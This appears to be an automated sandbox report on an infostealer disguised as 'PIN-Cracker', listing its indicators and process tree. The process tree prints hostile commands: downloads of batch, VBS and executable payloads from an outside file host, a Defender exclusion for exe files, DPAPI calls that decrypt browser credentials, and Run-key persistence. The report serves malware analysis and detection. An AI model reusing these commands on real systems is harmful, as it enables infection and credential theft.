gurcu | 59f361f8b4a5be7e76e2bae6e4d0515aff7b49bd7d9c896b401335bde8cba1f5

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation	pin-cracker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation	svhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation	cmd.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk	svhost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk	svhost.exe

Executes dropped EXE 13 IoCs

pid	Process
5664	PIN-Cracker.exe
4668	pin-cracker.exe
1176	pin-cracker.exe
4564	pin-cracker.exe
6948	pin-cracker.exe
5608	svhost.exe
6032	pin-cracker.exe
3124	pin-cracker.exe
4148	pin-cracker.exe
6012	pin-cracker.exe
6192	pin-cracker.exe
6552	pin-cracker.exe
2452	svhost.exe

Loads dropped DLL 39 IoCs

pid	Process
5664	PIN-Cracker.exe
5664	PIN-Cracker.exe
5664	PIN-Cracker.exe
4668	pin-cracker.exe
4668	pin-cracker.exe
1176	pin-cracker.exe
1176	pin-cracker.exe
1176	pin-cracker.exe
1176	pin-cracker.exe
1176	pin-cracker.exe
4564	pin-cracker.exe
6948	pin-cracker.exe
6948	pin-cracker.exe
2112	taskmgr.exe
6032	pin-cracker.exe
2112	taskmgr.exe
3124	pin-cracker.exe
3124	pin-cracker.exe
3124	pin-cracker.exe
3124	pin-cracker.exe
3124	pin-cracker.exe
2112	taskmgr.exe
4148	pin-cracker.exe
4148	pin-cracker.exe
4148	pin-cracker.exe
4148	pin-cracker.exe
4148	pin-cracker.exe
2112	taskmgr.exe
6012	pin-cracker.exe
2112	taskmgr.exe
6192	pin-cracker.exe
2112	taskmgr.exe
6552	pin-cracker.exe
6552	pin-cracker.exe
6552	pin-cracker.exe
6552	pin-cracker.exe
6552	pin-cracker.exe
6552	pin-cracker.exe
2112	taskmgr.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	PIN-Cracker 3.0.0.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svhost = "C:\\ProgramData\\svhost.exe"	svhost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
586	discord.com
587	discord.com
593	discord.com
595	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
583	api.ipify.org
668	ip-api.com

An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

pid	Process
1672	cmd.exe
6936	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Detects videocard installed 1 TTPs 64 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
3284	WMIC.exe
2360	WMIC.exe
640	WMIC.exe
6452	WMIC.exe
5608	WMIC.exe
3360	WMIC.exe
888	WMIC.exe
5204	WMIC.exe
7004	WMIC.exe
5700	WMIC.exe
516	WMIC.exe
4812	WMIC.exe
4988	WMIC.exe
3696	WMIC.exe
5624	WMIC.exe
1960	WMIC.exe
1804	WMIC.exe
2148	WMIC.exe
4232	WMIC.exe
5316	WMIC.exe
6172	WMIC.exe
4532	WMIC.exe
6800	WMIC.exe
7028	WMIC.exe
6780	WMIC.exe
6768	WMIC.exe
4300	WMIC.exe
5812	WMIC.exe
3900	WMIC.exe
6700	WMIC.exe
5428	WMIC.exe
2816	WMIC.exe
7000	WMIC.exe
5508	WMIC.exe
3980	WMIC.exe
6776	WMIC.exe
6244	WMIC.exe
2872	WMIC.exe
5472	WMIC.exe
5792	WMIC.exe
4184	WMIC.exe
2940	WMIC.exe
852	WMIC.exe
880	WMIC.exe
3112	WMIC.exe
5240	WMIC.exe
6332	WMIC.exe
1152	WMIC.exe
4220	WMIC.exe
6816	WMIC.exe
932	WMIC.exe
4152	WMIC.exe
5760	WMIC.exe
4804	WMIC.exe
3896	WMIC.exe
5404	WMIC.exe
7164	WMIC.exe
3460	WMIC.exe
2992	WMIC.exe
5712	WMIC.exe
4964	WMIC.exe
5924	WMIC.exe
5660	WMIC.exe
5800	WMIC.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery

T1057

pid	Process
556	tasklist.exe
3556	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1600	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133644212574826978"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2804	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3896	powershell.exe
3896	powershell.exe
3996	powershell.exe
3996	powershell.exe
1960	powershell.exe
1960	powershell.exe
1960	powershell.exe
4476	chrome.exe
4476	chrome.exe
6484	powershell.exe
6484	powershell.exe
6484	powershell.exe
5136	powershell.exe
5136	powershell.exe
5136	powershell.exe
5512	powershell.exe
5512	powershell.exe
5512	powershell.exe
4668	pin-cracker.exe
4668	pin-cracker.exe
6696	powershell.exe
6696	powershell.exe
6696	powershell.exe
6896	powershell.exe
6896	powershell.exe
6896	powershell.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe
2288	powershell.exe
2288	powershell.exe
2288	powershell.exe
6164	powershell.exe
6164	powershell.exe
6164	powershell.exe
3528	powershell.exe
3528	powershell.exe
3528	powershell.exe
4444	powershell.exe
4444	powershell.exe
4444	powershell.exe
6708	powershell.exe
6708	powershell.exe
6708	powershell.exe
6464	powershell.exe
6464	powershell.exe
6464	powershell.exe
5980	powershell.exe
5980	powershell.exe
6420	powershell.exe
6420	powershell.exe
4236	powershell.exe
4236	powershell.exe
4236	powershell.exe
3464	powershell.exe
3464	powershell.exe
6896	powershell.exe
6896	powershell.exe
6896	powershell.exe
6452	powershell.exe
6452	powershell.exe
6452	powershell.exe
5016	powershell.exe
5016	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 25 IoCs

pid	Process
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeDebugPrivilege	3996	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe
Token: SeCreatePagefilePrivilege	4476	chrome.exe
Token: SeShutdownPrivilege	4476	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
4476	chrome.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe
2112	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5608	svhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 1648	2240	PIN-Cracker 3.0.0.exe	83
PID 2240 wrote to memory of 1648	2240	PIN-Cracker 3.0.0.exe	83
PID 1648 wrote to memory of 2364	1648	cmd.exe	85
PID 1648 wrote to memory of 2364	1648	cmd.exe	85
PID 1648 wrote to memory of 4820	1648	cmd.exe	90
PID 1648 wrote to memory of 4820	1648	cmd.exe	90
PID 1648 wrote to memory of 1644	1648	cmd.exe	91
PID 1648 wrote to memory of 1644	1648	cmd.exe	91
PID 1644 wrote to memory of 4520	1644	WScript.exe	92
PID 1644 wrote to memory of 4520	1644	WScript.exe	92
PID 4520 wrote to memory of 3896	4520	cmd.exe	95
PID 4520 wrote to memory of 3896	4520	cmd.exe	95
PID 4520 wrote to memory of 3996	4520	cmd.exe	96
PID 4520 wrote to memory of 3996	4520	cmd.exe	96
PID 4520 wrote to memory of 1960	4520	cmd.exe	101
PID 4520 wrote to memory of 1960	4520	cmd.exe	101
PID 4476 wrote to memory of 4268	4476	chrome.exe	105
PID 4476 wrote to memory of 4268	4476	chrome.exe	105
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 1408	4476	chrome.exe	106
PID 4476 wrote to memory of 512	4476	chrome.exe	107
PID 4476 wrote to memory of 512	4476	chrome.exe	107
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108
PID 4476 wrote to memory of 4856	4476	chrome.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\PIN-Cracker 3.0.0.exe
"C:\Users\Admin\AppData\Local\Temp\PIN-Cracker 3.0.0.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c main.bat
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\curl.exe
    curl "https://api.filedoge.com/download/4fda4a814fb222f8a08a1d6ba8d55575851163d14e474bcf5a01f4411c487fb6a76c6f089dddaa339fea" -o installer.bat
    3⤵
    PID:2364
- - C:\Windows\system32\curl.exe
    curl "https://api.filedoge.com/download/d321dcf09378fe280233083397f090e8bc3e4e9c4744da568d1d5e90d53b2b02ad529c8fa17764c3c541" -o run.vbs
    3⤵
    PID:4820
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\ProgramData\run.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1644
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c installer.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4520
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        Powershell -Command "Set-MpPreference -ExclusionExtension exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3896
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        Powershell -Command "Invoke-Webrequest 'https://api.filedoge.com/download/13c74fb0b1108162c866265bd54b641a9b85f1a3b157165c02015b12047637f72a3fd7f9a0794d7bdc02' -OutFile 'svhost.exe'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        Powershell -Command "Invoke-Webrequest 'https://api.filedoge.com/download/18fb1e22044008b7a0d321b595c1f44a66525820119d7528f9e1df8e85577baa2d65dae607c7fc36b574' -OutFile 'PIN-Cracker.exe'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1960
    - - C:\ProgramData\PIN-Cracker.exe
        
        .\PIN-Cracker.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5664
      - C:\ProgramData\Epic\Launcher\pin-cracker.exe
        
        C:\ProgramData\Epic\Launcher\pin-cracker.exe
        6⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:4668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
        7⤵
        
        PID:980
        
        C:\Windows\system32\curl.exe
        
        curl http://api.ipify.org/ --ssl-no-revoke
        8⤵
        
        PID:7124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        7⤵
        
        PID:2356
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:3556
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM chrome.exe /F"
        7⤵
        
        PID:900
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /IM chrome.exe /F
        8⤵
        Kills process with taskkill
        
        PID:1600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        7⤵
        
        PID:6768
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:556
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,42,82,230,175,100,47,24,121,244,38,217,77,134,94,156,21,93,118,76,169,73,67,148,94,19,158,84,26,52,226,35,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,223,57,68,165,139,175,21,194,10,220,128,158,89,208,99,19,222,138,51,26,163,91,19,34,194,203,13,123,9,0,3,186,48,0,0,0,198,120,45,52,168,82,21,129,226,214,224,149,134,250,60,27,74,221,39,187,147,205,244,73,156,1,1,218,54,18,45,155,159,228,180,137,208,250,82,200,165,92,102,164,194,214,225,77,64,0,0,0,145,14,212,182,95,66,45,242,222,249,66,252,109,108,103,126,252,50,253,152,3,149,161,109,106,148,207,64,23,253,167,70,41,48,47,233,236,254,214,245,208,198,38,75,161,42,134,37,154,108,19,207,58,239,164,34,36,132,34,175,159,77,3,21), $null, 'CurrentUser')"
        7⤵
        An obfuscated cmd.exe command-line is typically used to evade detection.
        
        PID:6936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,42,82,230,175,100,47,24,121,244,38,217,77,134,94,156,21,93,118,76,169,73,67,148,94,19,158,84,26,52,226,35,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,223,57,68,165,139,175,21,194,10,220,128,158,89,208,99,19,222,138,51,26,163,91,19,34,194,203,13,123,9,0,3,186,48,0,0,0,198,120,45,52,168,82,21,129,226,214,224,149,134,250,60,27,74,221,39,187,147,205,244,73,156,1,1,218,54,18,45,155,159,228,180,137,208,250,82,200,165,92,102,164,194,214,225,77,64,0,0,0,145,14,212,182,95,66,45,242,222,249,66,252,109,108,103,126,252,50,253,152,3,149,161,109,106,148,207,64,23,253,167,70,41,48,47,233,236,254,214,245,208,198,38,75,161,42,134,37,154,108,19,207,58,239,164,34,36,132,34,175,159,77,3,21), $null, 'CurrentUser')
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:6484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,149,227,135,141,185,10,243,132,225,189,78,199,56,20,80,35,204,150,79,77,195,99,168,104,55,117,76,27,166,153,245,129,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,193,34,173,107,158,119,24,253,75,255,201,72,205,196,238,50,172,142,162,222,103,187,83,211,217,199,4,106,115,192,144,61,48,0,0,0,20,78,41,31,201,247,122,235,230,242,235,47,154,205,1,228,95,113,45,133,228,179,107,169,176,104,224,80,71,158,151,43,240,232,209,23,148,156,147,155,137,208,186,153,173,77,22,10,64,0,0,0,158,218,165,191,81,83,175,76,135,164,112,141,200,119,160,206,250,82,124,150,107,118,178,224,98,3,224,130,45,128,125,200,197,143,12,208,5,116,120,98,19,104,153,152,0,82,243,166,198,170,4,89,138,187,114,41,255,136,31,190,48,160,90,33), $null, 'CurrentUser')"
        7⤵
        An obfuscated cmd.exe command-line is typically used to evade detection.
        
        PID:1672
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,149,227,135,141,185,10,243,132,225,189,78,199,56,20,80,35,204,150,79,77,195,99,168,104,55,117,76,27,166,153,245,129,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,193,34,173,107,158,119,24,253,75,255,201,72,205,196,238,50,172,142,162,222,103,187,83,211,217,199,4,106,115,192,144,61,48,0,0,0,20,78,41,31,201,247,122,235,230,242,235,47,154,205,1,228,95,113,45,133,228,179,107,169,176,104,224,80,71,158,151,43,240,232,209,23,148,156,147,155,137,208,186,153,173,77,22,10,64,0,0,0,158,218,165,191,81,83,175,76,135,164,112,141,200,119,160,206,250,82,124,150,107,118,178,224,98,3,224,130,45,128,125,200,197,143,12,208,5,116,120,98,19,104,153,152,0,82,243,166,198,170,4,89,138,187,114,41,255,136,31,190,48,160,90,33), $null, 'CurrentUser')
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5136
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v EpicGamesLauncher /f"
        7⤵
        
        PID:3644
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v EpicGamesLauncher /f
        8⤵
        
        PID:6092
        
        C:\ProgramData\Epic\Launcher\pin-cracker.exe
        
